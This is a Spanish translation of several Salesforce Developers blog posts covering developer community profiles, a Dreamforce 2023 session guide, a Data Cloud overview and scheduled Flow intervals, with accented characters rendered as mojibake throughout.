La comunidad Trailblazer tambi茅n ha hecho una gran contribuci贸n a la carrera de Oleh. Ha encontrado muchas respuestas en varios foros, toneladas de contenido valioso en publicaciones de blogs y muchas conversaciones con miembros de la comunidad que comparten recomendaciones o ideas. 脡l dice: 鈥淓stoy agradecido de tenerlos a todos. Gracias a ti, soy quien soy鈥.

La comunidad Trailblazer apoya al pa铆s de origen de Oleh, Ucrania, en Dreamforce 2022.

Oleh anima a todos a ver si hay grupos comunitarios Trailblazer locales o un s谩bado de Salesforce en su 谩rea y unirse a ellos de inmediato (busque un grupo cerca de usted ). Si no existe ninguno, entonces sugiere tomar la iniciativa de crear uno. "Siempre recomiendo los eventos en persona porque son m谩s atractivos e inspiradores".

Para conocer desarrolladores como Oleh y ampliar sus habilidades t茅cnicas, 煤nase a la comunidad de desarrolladores de Salesforce y sea parte de la conversaci贸n sobre todo lo relacionado con el desarrollo de Salesforce.

Sobre el Autor

Christie Fidura es la directora de Global Trailblazer Engagement. En este rol, busca involucrar y elevar a la comunidad y trabajar directamente con ellos para comprender sus desaf铆os, preocupaciones, logros e inspiraciones. Puede encontrar a Christie en la comunidad Trailblazer en https://trailblazer.me/id/christiefidura . Christie, community manager certificada y comercializadora ganadora de m煤ltiples premios, cree en la tecnolog铆a, la comunidad y la igualdad.

Obtenga las 煤ltimas publicaciones de blog y episodios de podcasts para desarrolladores de Salesforce a trav茅s de Slack o RSS.

A帽adir a holgura Suscr铆bete a RSS

Continue reading

La gu铆a para desarrolladores de Salesforce para Dreamforce 2023 鈽侊笍

La gu铆a para desarrolladores de Salesforce para Dreamforce 2023 鈽侊笍

Esta es una traducci贸n que desde EGA Futura ofrecemos como cortes铆a a toda la Ohana y comunidad de programadores , consultores , administradores y arquitectos de Salesforce para toda Iberoam茅rica .

El enlace a la publicaci贸n original, lo encontrar谩s al final de este art铆culo.

La gu铆a del desarrollador de Salesforce para Dreamforce 2023 | Blog de desarrolladores de Salesforce

隆Llamando a todos los desarrolladores de Salesforce! 驴Est谩s listo para experimentar la magia de AI + Datos + CRM en Dreamforce 2023? Hemos preparado una experiencia repleta de tres d铆as como ninguna otra, as铆 que prep谩rate para aprender, conectarte, divertirte y retribuir rodeado de compa帽eros innovadores en la conferencia de tecnolog铆a m谩s grande del mundo.

Sabemos que est谩 contando ansiosamente los d铆as hasta que comience Dreamforce, as铆 que siga leyendo para comenzar a planificar su experiencia Dreamforce perfecta, desde conferencias magistrales hasta sesiones en Developer Track y demostraciones pr谩cticas en acci贸n en Developer Grove.

Vea la 煤ltima tecnolog铆a en la conferencia magistral sobre el futuro del desarrollo

AI + Data + CRM est谩n cambiando r谩pidamente el futuro de los negocios y los desarrolladores est谩n a la vanguardia. 脷nase al presidente y director de ingenier铆a, Srini Tallapragada, y a invitados especiales para aprender todo sobre el futuro del desarrollo y c贸mo puede aprovechar la IA en su trabajo.

Si asistir谩 a Dreamforce en persona, aseg煤rese de agregar la conferencia magistral a su agenda . Si lo seguir谩 desde casa, vea la conferencia magistral completa mientras se transmite en vivo en Salesforce+ .

馃搮 Marque sus calendarios: jueves 14 de septiembre, de 1:30 a 2:20 p. m., hora del Pac铆fico
馃帳 Oradores destacados: Srini Tallapragada, Alba Rivas, Adam White, Kat Holmes, Chris Peterson, Avanthika Ramesh
A帽adir a tu agenda

Descubra los aspectos m谩s destacados de la versi贸n para desarrolladores en Developer Preview Live

Eche un primer vistazo a las principales funciones, herramientas e innovaciones para desarrolladores de la versi贸n Winter '24. Vea demostraciones en vivo de interesantes innovaciones de productos y haga preguntas a nuestros expertos en productos. Hay tantas innovaciones nuevas para los desarrolladores en esta versi贸n que 隆no querr谩s perderte esto!

馃搮 Marque sus calendarios: jueves 14 de septiembre, de 2:30 a 3:30 p. m., hora del Pac铆fico
馃帳 Oradores destacados: Aditya Naag Topalli, Mohith Shrivastava, Ewald Hofman, Danielle Larregui, Greg Whitworth, Akshata Sawant, Sarah Welker
A帽adir a tu agenda

Mejora tus habilidades en la ruta de desarrollador

Developer Track ofrece una combinaci贸n de sesiones de teatro de 20 minutos en Developer Theatre y sesiones de trabajo de 40 minutos. Espere asimilar las mejores pr谩cticas, consejos y mucha inspiraci贸n. 隆Y hay algo para todos, sin importar los temas que te apasionen! Tenemos sesiones para todos los niveles (principiante, intermedio, avanzado) en todas las funciones y temas: IA generativa, nube de datos, DevOps Center, MuleSoft, Code Builder, Apex, AppExchange, Lightning Web Components, Slack, seguridad, accesibilidad y m谩s.

馃搷 Las sesiones de calentamiento se ubicar谩n en todo Trailblazer Forest: en Developer Theatre junto a Developer Grove, Redwood Theatre, Einstein Theatre, Data Cloud Theatre y Olympic Theatre. Las sesiones de trabajo de Developer Track se llevar谩n a cabo en el segundo y tercer piso de Moscone West. Aseg煤rese de consultar su agenda para conocer la ubicaci贸n exacta de las habitaciones.

Para encontrar estas sesiones en el cat谩logo de sesiones de Dreamforce , seleccione Funci贸n en la navegaci贸n izquierda y marque Desarrollador para ver todas las sesiones etiquetadas para desarrolladores.

Algunas sesiones imperdibles para agregar a tu agenda 鉁忥笍

Descubra el poder de Einstein GPT para desarrolladores
Qu茅 esperar: La IA generativa ha arrasado en el mundo de la tecnolog铆a. Conozca las capacidades m谩s recientes de Einstein GPT y c贸mo los desarrolladores pueden utilizar la tecnolog铆a para crear sus propias aplicaciones impulsadas por IA en Salesforce.
Oradores destacados: Stephan Chandler-Garc铆a, Ananya Jha
A帽ade esta sesi贸n a tu agenda

Comprensi贸n de la nube de datos para desarrolladores de Salesforce
Qu茅 esperar: aprenda qu茅 significa Data Cloud para los desarrolladores, c贸mo se exponen sus artefactos como metadatos de plataforma familiares y c贸mo ingerir e interactuar con sus datos mediante SQL, Apex, Flows, API y SDK.
Oradores destacados: Aditya Naag Topalli, Danielle Larregui
A帽ade esta sesi贸n a tu agenda

驴Quieres un mejor c贸digo? Einstein GPT y Code Analyzer pueden ayudar
Qu茅 esperar: Impulse el desarrollo de Salesforce con el d煤o din谩mico de Einstein GPT para desarrolladores y Code Analyzer. Aprenda c贸mo optimizar la generaci贸n y validaci贸n de c贸digo directamente desde las experiencias IDE.
Oradores destacados: Gordon Bockus, Vivek Chawla
A帽ade esta sesi贸n a tu agenda

Componentes web Lightning: novedades y novedades
Qu茅 esperar: aprenda c贸mo puede utilizar Lightning Web Components para hacer que el desarrollo en Salesforce sea m谩s f谩cil y eficiente. Vea las 煤ltimas funciones disponibles para LWC y lo que se avecina en la hoja de ruta.
Oradores destacados: Alicia Teo, Alice Oh, Leo Balter
A帽ade esta sesi贸n a tu agenda

Hoja de ruta de Apex: novedades y novedades
Qu茅 esperar: Los gerentes de producto de Salesforce profundizar谩n en las funciones lanzadas recientemente y en el futuro en la hoja de ruta de Apex, incluido Einstein GPT para desarrolladores.
Oradores destacados: Daniel Ballinger, Chris Peterson
A帽ade esta sesi贸n a tu agenda

Aumente la productividad de los desarrolladores con GraphQL e IA generativa
Qu茅 esperar: Sum茅rgete en la nueva API GraphQL, donde las consultas y mutaciones se pueden combinar en una sola solicitud, ganando rendimiento y flexibilidad. Eche un vistazo a c贸mo redactar consultas con IA generativa.
Oradores destacados: Juli谩n Duque, Ben Sklar
A帽ade esta sesi贸n a tu agenda

Desarrollar componentes web Lightning para dispositivos m贸viles sin conexi贸n
Qu茅 esperar: 驴 Usuarios m贸viles sin conexi贸n? Aprenda c贸mo habilitarlos con componentes web Lightning personalizados para mostrar e incluso actualizar registros mientras un dispositivo m贸vil est谩 desconectado de Internet.
Oradora destacada: Angela Le
A帽ade esta sesi贸n a tu agenda

Gestionar dependencias y conflictos en el Centro DevOps
Qu茅 esperar: profundice en c贸mo los desarrolladores utilizan DevOps Center para gestionar el ciclo de vida del desarrollo de software. Comience con DevOps Center y aprenda a solucionar los problemas m谩s comunes, como la resoluci贸n de conflictos.
Oradores destacados: Gilson Canario, Francisco Sammartino
A帽ade esta sesi贸n a tu agenda

Cinco cosas que los desarrolladores de Salesforce deben saber sobre MuleSoft
Qu茅 esperar: 脷nase a esta sesi贸n para conocer los conceptos clave de MuleSoft que necesita saber como desarrollador de Salesforce. Nos centraremos en las mejores pr谩cticas, consejos y trucos, antipatrones y m谩s con ejemplos en vivo.
Oradores destacados: Gaurav Kheterpal, Akshata Sawant
A帽ade esta sesi贸n a tu agenda

Pon a prueba tus habilidades en Developer Grove

Developer Grove, ubicado en Trailhead Forest, es el hogar de los desarrolladores durante Dreamforce y el lugar para comenzar su viaje de aprendizaje de tres d铆as .

Nuestra principal atracci贸n este a帽o es una competencia estilo arcade que pone a prueba tus habilidades de ingenier铆a en IA. 隆Completa tantos desaf铆os como puedas en el menor tiempo posible para que tu nombre aparezca en la tabla de clasificaci贸n y puedas presumir de ello!

Visite la estaci贸n de demostraci贸n que cubre nuestras aplicaciones de muestra y recetas de c贸digo, y descubra c贸mo puede utilizarlas en su propio trabajo. Cada estaci贸n contar谩 con empleados de Salesforce que saben lo que hacen y les encanta ayudar a otros a aprender.

鉂桸ovedad de este a帽o: Estaci贸n de consultas 1:1 en Developer Grove. Los desarrolladores de Salesforce pueden registrarse para una consulta individual de 20 minutos con profesionales expertos de Salesforce. Para reservar una consulta individual, visite esta p谩gina y seleccione el tema "Desarrollador de Salesforce". Cuando haya terminado de registrarse, se le enviar谩 una confirmaci贸n por correo electr贸nico y estar谩 disponible en la aplicaci贸n Salesforce Events; desc谩rguela ahora en App Store o Google Play Store .

Otras cosas a tener en cuenta 馃憖

Conferencia principal de Dreamforce

脷nase al director ejecutivo de Salesforce, Marc Benioff, junto con invitados especiales en el discurso principal de Dreamforce para escuchar todo sobre nuestras innovaciones m谩s recientes.

馃搮 Marque sus calendarios: martes 12 de septiembre, de 10 a. m. a 12 p. m., hora del Pac铆fico
A帽ade la keynote a tu agenda

Fiel al foro principal de clientes

脷nase al cofundador y director de tecnolog铆a Parker Harris en el foro anual de clientes True to the Core. Escuche a los l铆deres de productos compartir los aspectos m谩s destacados de nuestra hoja de ruta de productos. Si nunca ha asistido, esta es una excelente sesi贸n para que los desarrolladores pregunten y escuchen las respuestas de nuestros gerentes de producto. 隆Una cosa que seguir谩 siendo 鈥渃entral鈥 en True to the Core es que habr谩 muchas preguntas!

馃搮 Marque sus calendarios: jueves 14 de septiembre, de 11:30 a. m. a 12:30 p. m., hora del Pac铆fico
A帽ade esta sesi贸n a tu agenda

Conferencia magistral de TI: cree su cliente 360 con IA confiable

Aprenda c贸mo resolver sus desaf铆os de TI m谩s dif铆ciles con IA + Datos + CRM. Escuche c贸mo los pioneros utilizan las 煤ltimas innovaciones de plataforma, nube de datos y MuleSoft para crear entornos de TI de pr贸xima generaci贸n, con potentes capacidades de IA generativa integradas.

馃搮 Marque sus calendarios: martes 12 de septiembre, de 2:30 a 3:20 p. m., hora del Pac铆fico
A帽ade esta sesi贸n a tu agenda

Celebraci贸n pionera de la noche 1

Recuperaremos la diversi贸n la primera noche de Dreamforce. 脷nase a nosotros en Trailblazer Forest de 5 a 6:30 p. m. el martes 12 de septiembre en Admin Meadow, Developer Grove y Community Cove para actividades sociales, comidas ligeras y bebidas.

Pistas de administrador y arquitecto

驴Busca diversificar su agenda en Dreamforce este a帽o? Consulte todas las sesiones de c贸digo y de c贸digo bajo en la secci贸n de administraci贸n y en la secci贸n de arquitecto . Para obtener m谩s informaci贸n sobre cada uno, lea la Gu铆a del administrador de Dreamforce 2023 .

Obtenga a煤n m谩s contenido de Dreamforce 2023 en Salesforce+

驴No puedes asistir a Dreamforce en persona? Durante los tres d铆as, las conferencias magistrales y las sesiones seleccionadas se transmitir谩n en vivo en Salesforce+. Habr谩 dos canales y 72 horas de transmisi贸n en vivo. Adem谩s de la experiencia en vivo, m谩s de 120 episodios bajo demanda estar谩n disponibles para verlos despu茅s de que finalice Dreamforce en cualquier momento y lugar.

Reg铆strese en Salesforce+ ahora para obtener acceso a todo el contenido exclusivo.

Empieza ahora

隆Dreamforce 2023 estar谩 aqu铆 antes de que te des cuenta! Siga estos pasos para prepararse:

  1. Reg铆strese para asistir a Dreamforce si a煤n no lo ha hecho.
  2. Agregue el discurso de apertura sobre el futuro del desarrollo y la vista previa de la versi贸n para desarrolladores a su agenda.
  3. Complete Road to Dreamforce 2023 Trailhead Quest antes de las 11:59 p. m. (hora del Pac铆fico) del 11 de septiembre de 2023 para desbloquear una insignia comunitaria exclusiva y participar para tener la oportunidad de ganar* una de las 25 codiciadas sudaderas con capucha Trailblazer o una de las 50 camisetas Dreamforce.* Se aplican las reglas oficiales . Consulte la p谩gina Trailhead Quests para obtener todos los detalles.
  4. Descargue la aplicaci贸n Salesforce Events en App Store o Google Play Store para realizar un seguimiento de todo lo que hay en su agenda en un lugar de f谩cil acceso.
  5. Con茅ctese con sus pares en el grupo comunitario Salesforce Developers Trailblazer.
  6. Si no asiste en persona, aseg煤rese de registrarse para la experiencia Salesforce+.
  7. Seguir @salesforcedevs en Twitter y LinkedIn para obtener m谩s actualizaciones.

Sobre el Autor

Kaitlin Benz es especialista s茅nior en marketing de desarrolladores en Salesforce. Lo que m谩s le apasiona es la narraci贸n de historias, los podcasts y la comida vegana. Encu茅ntrala en LinkedIn .

Obtenga las 煤ltimas publicaciones de blog y episodios de podcasts para desarrolladores de Salesforce a trav茅s de Slack o RSS.

A帽adir a holgura Suscr铆bete a RSS

Continue reading

Farah Sherif comparte el secreto del 茅xito de los desarrolladores: aprendizaje permanente 鈽侊笍

Farah Sherif comparte el secreto del 茅xito de los desarrolladores: aprendizaje permanente 鈽侊笍

Esta es una traducci贸n que desde EGA Futura ofrecemos como cortes铆a a toda la Ohana y comunidad de programadores , consultores , administradores y arquitectos de Salesforce para toda Iberoam茅rica .

El enlace a la publicaci贸n original, lo encontrar谩s al final de este art铆culo.

Farah Sherif comparte el secreto del 茅xito de los desarrolladores: aprendizaje permanente | Blog de desarrolladores de Salesforce

Si la desarrolladora de Salesforce, Farah Sherif , pudiera comenzar su carrera nuevamente, comenzar铆a a aprender Salesforce antes. No esperaba dedicarse a la codificaci贸n para ganarse la vida, pero pronto descubri贸 que era la carrera adecuada para ella. 鈥淪ol铆a pensar que la codificaci贸n era realmente complicada鈥, dice Farah, 鈥減ero Salesforce y Trailhead lo hicieron f谩cil. Adem谩s, con suficiente dedicaci贸n, puedes aprender cualquier cosa en Salesforce鈥.

Trailhead es la puerta de entrada al ecosistema de Salesforce, donde cualquier persona puede aprender las habilidades m谩s demandadas y relevantes de la actualidad de forma gratuita, obtener credenciales dignas de curr铆culum y conectarse con oportunidades globales. Hoy, m谩s de 18 millones de Trailblazers est谩n aprendiendo, creando redes y desarrollando sus habilidades para construir carreras exitosas.

Sol铆a pensar que la codificaci贸n era realmente complicada, pero Salesforce y Trailhead lo hicieron f谩cil.

Farah conoci贸 Salesforce gracias a su primo, que es miembro del Sal贸n de la fama de MVP de Salesforce , all谩 por 2018. 脡l le envi贸 un par de m贸dulos en la plataforma de aprendizaje de Trailhead, incluida la ruta Admin Beginner , y ella se enganch贸 de inmediato.

En la actualidad, la carrera de Farah es pr贸spera y actualmente es desarrolladora s茅nior de Salesforce para Oloop Technology Solutions , una firma de consultor铆a de tecnolog铆a empresarial con sede en Aurora, IL. Ella tambi茅n se ha convertido en MVP de Salesforce.

Pasi贸n por aprender y desarrollar habilidades en Trailhead

Trailhead ha sido el entorno de aprendizaje de Farah desde el primer d铆a, y desde entonces ha superado cientos de unidades y m贸dulos. Hasta la fecha, Farah ha completado 34 senderos y ganado la friolera de 365 insignias y 11 superbags, lo que la ha llevado al nivel Triple Star Ranger .

Farah tambi茅n ha mejorado su curr铆culum al lograr 15 certificaciones de impulso profesional de Salesforce , y recomienda este enfoque a otros desarrolladores que buscan avanzar en su carrera. Ella dice: "Aunque no tenga experiencia en un tema, si estudia lo suficiente y aborda la certificaci贸n, le da la oportunidad de ser parte de un proyecto que utiliza los productos que aprendi贸 en su certificaci贸n".

A pesar de todos sus logros, Farah contin煤a usando Trailhead como su fuente principal para aprender nuevas habilidades. 鈥淎unque hay varios recursos disponibles鈥, dice, 鈥減rimero empiezo con Trailhead y luego reviso otros recursos. Al prepararme para las certificaciones, las preguntas de pr谩ctica han sido realmente 煤tiles鈥.

Aunque hay varios recursos disponibles, primero empiezo con Trailhead.

Encontrando inspiraci贸n en la Galer铆a de muestra de c贸digo

Para los desarrolladores que desean explorar ejemplos de trabajo, Farah sugiere consultar Code Sample Gallery , que ella considera "una joya oculta subestimada". Contiene ejemplos de c贸digo escritos por el equipo de defensa de desarrolladores de Salesforce que muestran una variedad de caracter铆sticas de la plataforma de Salesforce, como componentes web Lightning, Apex y flujos, as铆 como casos de uso como la transformaci贸n de p谩ginas de Visualforce en componentes web Lightning. Farah dice: "Es la mejor manera de aprender, ya que el c贸digo est谩 escrito por expertos de Salesforce y hay toneladas de ejemplos sobre c贸mo hacer todo".

La comunicaci贸n es una habilidad valiosa para los desarrolladores.

Junto con las habilidades t茅cnicas, Farah ha aprendido que la buena comunicaci贸n es vital para el 茅xito del desarrollador. A medida que avanzaba en su carrera, Farah lleg贸 a creer que los desarrolladores no se sientan detr谩s de una computadora y programan todo el d铆a. Los desarrolladores deben poder comunicarse bien con los dem谩s para realizar su trabajo o mostrar su soluci贸n. Ya sea que se trate de reportar bloqueadores a un gerente de producto, discutir una soluci贸n alternativa o incluso explicar un enfoque t茅cnico a un cliente, es importante que los desarrolladores puedan expresarse claramente.

鈥淣o lo aprend铆 en un d铆a鈥, dice Farah, 鈥減ero he recorrido un largo camino desde la primera vez que habl茅 con un cliente. Las habilidades de comunicaci贸n tambi茅n ayudan cuando escuchas conversaciones porque entonces est谩s aprendiendo c贸mo tratar con las personas y c贸mo manejar a los clientes鈥. (Consejo: consulte elm贸dulo Narraci贸n y comunicaci贸n en Trailhead para mejorar sus habilidades).

驴Qu茅 tiene de bueno ser un desarrollador de Salesforce?

Una de las razones por las que a Farah le encanta ser desarrolladora de Salesforce es la experiencia de desarrollo en s铆 misma. Le gusta construir algo desde cero que pueda ayudar a las personas a ahorrar tiempo o facilitarles la vida. Tambi茅n se emociona cuando puede trabajar en algo que antes la gente pensaba que no era posible y ayudar a darle vida. Ella dice: "Me encanta programar porque es desafiante y te obliga a pensar de manera estructurada para encontrar una soluci贸n a prueba de errores".

Buscar ayuda de expertos en la comunidad

La clave del 茅xito de Farah: hacer preguntas. Cuando se enfrenta a requisitos desconocidos, Farah dedica mucho tiempo a aprender e investigar para obtener informaci贸n sobre un tema nuevo, lo que beneficia a toda su organizaci贸n. 鈥淐uando paso tiempo aprendiendo un nuevo producto o una nueva funci贸n de Salesforce, siempre es valioso para mi equipo, ya que puedo actuar como una fuente de conocimiento de ese tema m谩s adelante cuando tengamos que usarlo鈥.

Farah tambi茅n recurre a Salesforce Developers Trailblazer Community para buscar ayuda de expertos o seguir a l铆deres de opini贸n como David Liu y Salesforce Ben. Farah dice: "La Comunidad Trailblazer es mi espacio seguro, donde todos son incre铆blemente 煤tiles, y cuando s茅 que cuando contacte a alguien, realmente querr谩n ayudar". Sus grupos favoritos son Apex Hours y Ladies Be Architects .

El raro honor de una sudadera con capucha dorada

Farah complet贸 la universidad con un t铆tulo en Ciencias de la Computaci贸n y llevaba unos meses en su nuevo trabajo, esforz谩ndose por demostrar su val铆a como desarrolladora de Salesforce estudiando y obteniendo certificaciones. Pero fue solo cuando comenz贸 a involucrarse m谩s profundamente con la comunidad Trailblazer que sus perspectivas de carrera comenzaron a cambiar.

Despu茅s de pasar algunos meses aprendiendo sobre Trailhead鈥, recuerda Farah, 鈥淪olicit茅 dirigir el grupo comunitario local de Trailblazer en El Cairo, Egipto. Esas reuniones realmente me ayudaron a mejorar mis habilidades y, de hecho, consegu铆 mi primer trabajo como desarrollador de Salesforce asistiendo a ellas y conect谩ndome con la gente.

La dedicaci贸n de Farah al aprendizaje ya la comunidad no pas贸 desapercibida. En octubre de 2020, Salesforce le otorg贸 una rara sudadera con capucha dorada para celebrar su compromiso y su trayectoria como Trailblazer.

鈥淐uando recib铆 la sudadera con capucha dorada鈥, recuerda, 鈥渇ue un momento incre铆ble del que estar茅 orgullosa para siempre鈥. El premio se sinti贸 como una verificaci贸n de todos sus esfuerzos. Dos a帽os m谩s tarde, estaba en su primera conferencia de Salesforce y el significado de la sudadera con capucha finalmente hizo clic. 鈥淔ue entonces cuando realmente sent铆 lo especial que es tener la sudadera con capucha dorada. Es diferente cuando puedes usarlo en persona y ser reconocido por m谩s de 4000 personas鈥. Comparte m谩s de su perspectiva y experiencia, as铆 como un vistazo de su Golden Hoodie, en un episodio de Trailhead Live (a las 25:32).

Cuando recib铆 la sudadera con capucha dorada, fue un momento incre铆ble del que estar茅 orgulloso para siempre.

Consejos para nuevos desarrolladores de Salesforce: 隆No dejes de aprender!

Farah aconseja a los desarrolladores que son nuevos en el ecosistema de Salesforce que hagan preguntas y no dejen de aprender. Para mantenerse al d铆a con las 煤ltimas novedades, recomienda consultar las notas de la versi贸n de Salesforce que incluyen mejoras en la funcionalidad existente y nuevas herramientas. Tambi茅n sugiere involucrarse con su comunidad local de Salesforce , asistir a reuniones grupales y conferencias, donde tiene la oportunidad de establecer contactos y conocer a otros profesionales y regresar con nuevas ideas e inspiraci贸n.

Para Farah, el aprendizaje es un proceso continuo, algo que trata de recordar todos los d铆as. Ella dice: 鈥淣o dejas de aprender solo cuando tienes X n煤mero de certificaciones o cuando crees que has alcanzado un hito. Cuando mantienes el aprendizaje como un h谩bito, realmente vale la pena鈥.

Para conocer a desarrolladores como Farah y ampliar sus habilidades t茅cnicas, 煤nase a la comunidad de desarrolladores de Salesforce y sea parte de la conversaci贸n sobre todo lo relacionado con el desarrollo de Salesforce.

Sobre el Autor

Christie Fidura es la directora de Global Trailblazer Engagement. En este rol, busca involucrar y elevar a la comunidad y trabajar directamente con ellos para comprender sus desaf铆os, preocupaciones, victorias e inspiraciones. Puede encontrar a Christie en Trailblazer Community en https://trailblazer.me/id/christiefidura . Christie, administradora comunitaria certificada y comercializadora ganadora de m煤ltiples premios, cree en la tecnolog铆a, la comunidad y la igualdad.

Obtenga las 煤ltimas publicaciones de blog de desarrolladores de Salesforce y episodios de podcast a trav茅s de Slack o RSS.

Agregar a Slack Suscr铆bete a RSS

Continue reading

Re煤na todos los datos de sus clientes en Data Cloud 鈽侊笍

Re煤na todos los datos de sus clientes en Data Cloud 鈽侊笍

Esta es una traducci贸n que desde EGA Futura ofrecemos como cortes铆a a toda la Ohana y comunidad de programadores , consultores , administradores y arquitectos de Salesforce para toda Iberoam茅rica .

El enlace a la publicaci贸n original, lo encontrar谩s al final de este art铆culo.

Re煤na todos los datos de sus clientes en Data Cloud | Blog de desarrolladores de Salesforce

En nuestras publicaciones de blog anteriores, exploramos a alto nivel qu茅 es Data Cloud para los desarrolladores. Tambi茅n exploramos algunas caracter铆sticas interesantes de Data Cloud para desarrolladores . Le mostramos c贸mocrear conocimientos calculados , c贸mo usar Apex y c贸mo cargar datos mediante programaci贸n usando la API de ingesta . En esta publicaci贸n de blog, cubriremos caracter铆sticas a煤n m谩s incre铆bles que Data Cloud tiene para ofrecer.

La nube de datos est谩 activa

Data Cloud es m谩s que un lago de datos. Es una plataforma de datos activa. Los desarrolladores pueden traer datos desde cualquier sistema, canal o flujo de datos, ya sea en flujos continuos o en lotes. Con Data Cloud, puede conectar sus datos a trav茅s de diferentes sistemas que contienen los datos de sus clientes. Data Cloud se basa en nuestra plataforma Hyperforce , lo que significa que Data Cloud puede absorber f谩cilmente grandes vol煤menes de datos. Con Hyperforce, Data Cloud es r谩pido y tambi茅n puede capturar eventos segundos despu茅s de que ocurran.

Si piensa en cu谩ntos clics hace cada cliente, el volumen de datos se expande r谩pidamente. Por ejemplo, a medida que los clientes abren y hacen clic en los correos electr贸nicos, navegan por las p谩ginas de sus aplicaciones m贸viles y miran los productos en su sitio web, puede capturar esos datos de participaci贸n a medida que ocurren. Cuando env铆a un correo electr贸nico u oferta y es relevante para la persona que lo recibe, es mucho m谩s probable que haga clic. Cuando un cliente hace clic, puede capturar la interacci贸n en Data Cloud. A continuaci贸n, puede utilizar esa informaci贸n para averiguar qu茅 les interesa y si es probable que realicen una compra o no.

La nube de datos est谩 integrada

Tener todos estos datos en tiempo real de m煤ltiples fuentes empresariales es excelente. Pero los datos no son significativos a menos que pueda usarlos. Data Cloud se conecta de forma nativa a muchos proveedores de nube, como Google Cloud Storage , Azure Storage y Amazon S3 . Data Cloud tambi茅n se conecta de forma nativa a Salesforce . Despu茅s de solo unos pocos clics, puede conectar cualquier organizaci贸n de Sandbox o de producci贸n de Salesforce a Data Cloud. Luego, Data Cloud puede ingerir cualquier objeto de Salesforce en un flujo de datos .

Despu茅s de que sus datos se ingieran en objetos de lago de datos (DLO) y se asignen a objetos de modelo de datos (DMO), un modelo de datos como el siguiente se integra din谩micamente en Data Cloud. Esto le permite ver visualmente todos los flujos de datos que est谩n creando la vista 煤nica de su cliente.

Atr谩s quedaron los d铆as en que Data Cloud era solo una plataforma de datos para marketing. Los datos almacenados en Data Cloud ahora se pueden usar en muchos sistemas. Los datos de Data Cloud se pueden usar en Amazon Ads y Google Ads mediante activaciones y objetivos de activaci贸n . Tambi茅n puede usar el conector de nube de datos nativo en Tableau para obtener nuevos conocimientos. Los aceleradores de Tableau listos para usar le permiten moverse a煤n m谩s r谩pido usando tableros y libros de trabajo predise帽ados y listos para usar. Con Data Cloud m谩s Tableau, puede cubrir f谩cilmente nuevos conocimientos sobre su negocio al reunir todos sus datos. Los desarrolladores ahora pueden incorporar estos conocimientos impulsados por IA en una aplicaci贸n de su elecci贸n.

La nube de datos est谩 automatizada

Los datos de Data Cloud tambi茅n se pueden enviar a Salesforce mediante acciones de datos y eventos de la plataforma y luego aprovecharse en flujos mediante una variedad de acciones de datos que est谩n disponibles en Salesforce Flow. Los desarrolladores pueden usar Flow para publicar informaci贸n y segmentos calculados, actualizar flujos de datos, ejecutar resoluciones de identidad e incluso activar modelos de predicci贸n. El flujo tambi茅n puede obtener datos de un objeto de modelo de datos y almacenar esa informaci贸n en una variable de colecci贸n para usarla en otras partes del flujo.

La nube de datos est谩 abierta

Data Cloud tiene muchas asociaciones estrat茅gicas con empresas como Amazon, Google, Snowflake y Meta. Estas asociaciones han ampliado la plataforma para permitir mayores posibilidades y ayudar a que sus datos sean m谩s procesables. La mejor noticia es que nuestras asociaciones est谩n creciendo constantemente, 隆y pronto habr谩 nuevas!

Recursos

Sobre los autores

Muralidhar Krishnaprasad (tambi茅n conocido como MK o Murali para abreviar) es el vicepresidente ejecutivo de ingenier铆a que ejecuta datos, ML y an谩lisis dentro de la organizaci贸n de Marketing Cloud. Se uni贸 a Salesforce hace tres a帽os y est谩 a cargo de crear, integrar y hacer crecer varios productos relacionados con datos, ML y an谩lisis. Est谩 liderando la iniciativa para repensar nuestra estrategia general de pr贸xima generaci贸n que re煤ne lo mejor de big data, ML y an谩lisis junto con nuestra plataforma para construir la base para el futuro digital.

Danielle Larregui es promotora s茅nior de desarrolladores en Salesforce, donde se enfoca en la creaci贸n de contenido de Data Cloud y Marketing Cloud. Le encanta la UI/UX, el marketing digital y la codificaci贸n. Danielle tambi茅n disfruta asistir a grupos de usuarios, conferencias comunitarias y eventos t茅cnicos de Salesforce. Puede seguirla en Twitter @dnlarregui o LinkedIn para mantenerse al d铆a con su contenido t茅cnico.

Dianne Siebold es redactora t茅cnica principal del equipo de Experiencia de contenido en Salesforce. Se especializa en desarrollo, inteligencia artificial y tecnolog铆as de integraci贸n.

Obtenga las 煤ltimas publicaciones de blog de desarrolladores de Salesforce y episodios de podcast a trav茅s de Slack o RSS.

Agregar a Slack Suscr铆bete a RSS

Continue reading

Ejecutar flujo desencadenado por programaci贸n a intervalos de repetici贸n flexibles

Ejecutar flujo desencadenado por programaci贸n a intervalos de repetici贸n flexibles

脷ltima actualizaci贸n el 7 de agosto de 2023 por Rakesh Gupta

Gran idea o pregunta duradera:

  • 驴C贸mo se ejecuta un flujo activado por programaci贸n o iniciado autom谩ticamente en intervalos de repetici贸n flexibles?

Objetivos:

Despu茅s de leer este blog, podr谩:

  • Ejecute un flujo activado por programa en intervalos regulares (por ejemplo, cada 15 minutos, cada hora, cada cuatro horas, etc.)
  • Ejecute un flujo activado por programaci贸n solo los fines de semana.
  • Y mucho m谩s

Benjamin Moore, el administrador de Salesforce en Gurukul On Cloud (GoC), implement贸 con 茅xito un flujo activado por programaci贸n para automatizar las actualizaciones de tipos de cambio de moneda en Salesforce utilizando la API de cambio de moneda . Actualmente, este flujo est谩 configurado para ejecutarse todas las noches a las 12:54 a. m.

Sin embargo, en funci贸n de los comentarios comerciales y su satisfacci贸n con la configuraci贸n actual, ahora existe una solicitud para que la frecuencia del flujo activado por programaci贸n se ajuste para que se ejecute cada seis horas.

Enfoque de Campe贸n de Automatizaci贸n (I-do):

Un Evento en los datos no desencadena Flujos programados; se ejecutan cuando llega una hora programada. Los flujos programados se ejecutan de la siguiente manera:

  • Una vez (En una fecha y hora en particular)
  • Diariamente (En una fecha y hora en particular)
  • Semanalmente (En una fecha y hora en particular)

Sin embargo, puede haber casos en los que sea necesario ejecutar un flujo de inicio autom谩tico con m谩s frecuencia de la necesaria. Para tales escenarios, se requiere familiaridad con Apex o el uso de una aplicaci贸n de AppExchange, Schedul-o-matic 9000 .

La aplicaci贸n Schedul-o-matic 9000 ofrece la flexibilidad de intervalos de repetici贸n personalizados. Ya sea ejecutando un trabajo una vez, cada 5 minutos indefinidamente o en cualquier per铆odo de tiempo intermedio, la elecci贸n est谩 en sus manos.

馃憠 Mira el video para obtener instrucciones paso a paso.

[contenido incrustado]

Evaluaci贸n formativa:

隆Quiero saber de ti!

